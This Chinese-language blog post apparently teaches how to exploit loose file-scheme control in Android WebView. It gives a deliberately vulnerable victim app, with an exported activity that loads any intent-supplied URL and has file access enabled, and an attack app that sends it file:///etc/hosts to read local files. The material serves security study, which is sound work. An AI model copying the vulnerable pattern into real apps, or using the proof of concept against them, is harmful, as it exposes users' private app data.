android webview file域控制不严格利用

tea9

发布于 2022-07-16 17:29:07

7410

发布于 2022-07-16 17:29:07

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webview file域控制不严格读取内部私有文件

必须条件： 1.存在webview的activity组件可导出 2.当前的webview允许使用file协议

可利用app关键代码:

android:exported="true"//api17及以上版本默认为false
webView.getSettings().setAllowFileAccess(true);//默认是true

MainActivity.java

public class MainActivity extends AppCompatActivity {

    private WebView webView = null;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
//        setContentView(R.layout.activity_main);
        webView = new WebView(this);
        setContentView(webView);
        webView.setWebViewClient(new WebViewClient());
        webView.getSettings().setAllowFileAccess(true);
        Intent mIntent = this.getIntent();
        Bundle bundle = mIntent.getBundleExtra("bundle");
        String url = bundle.getString("url");
        webView.loadUrl(url);
    }
}

AndroidManifest.xml

<activity android:name=".MainActivity" >
            <intent-filter>
                <action android:name="android.intent.action.MAIN" android:exported="true" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>

攻击app关键代码:

MainActivity.java


public class MainActivity extends AppCompatActivity {

    public static final String LOAD_URL="file:///etc/hosts";
//    public static final String BAIDU="https://www.baidu.com";

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        ComponentName componentName = new ComponentName("com.demo.victim","com.demo.victim.MainActivity");
        Intent intent = new Intent();
        Bundle bundle = new Bundle();
        intent.setComponent(componentName);
        bundle.putString("url",LOAD_URL);
        intent.putExtra("bundle",bundle);
        startActivity(intent);

    }
}

利用: 先安装可利用app在安装攻击app，在打开攻击app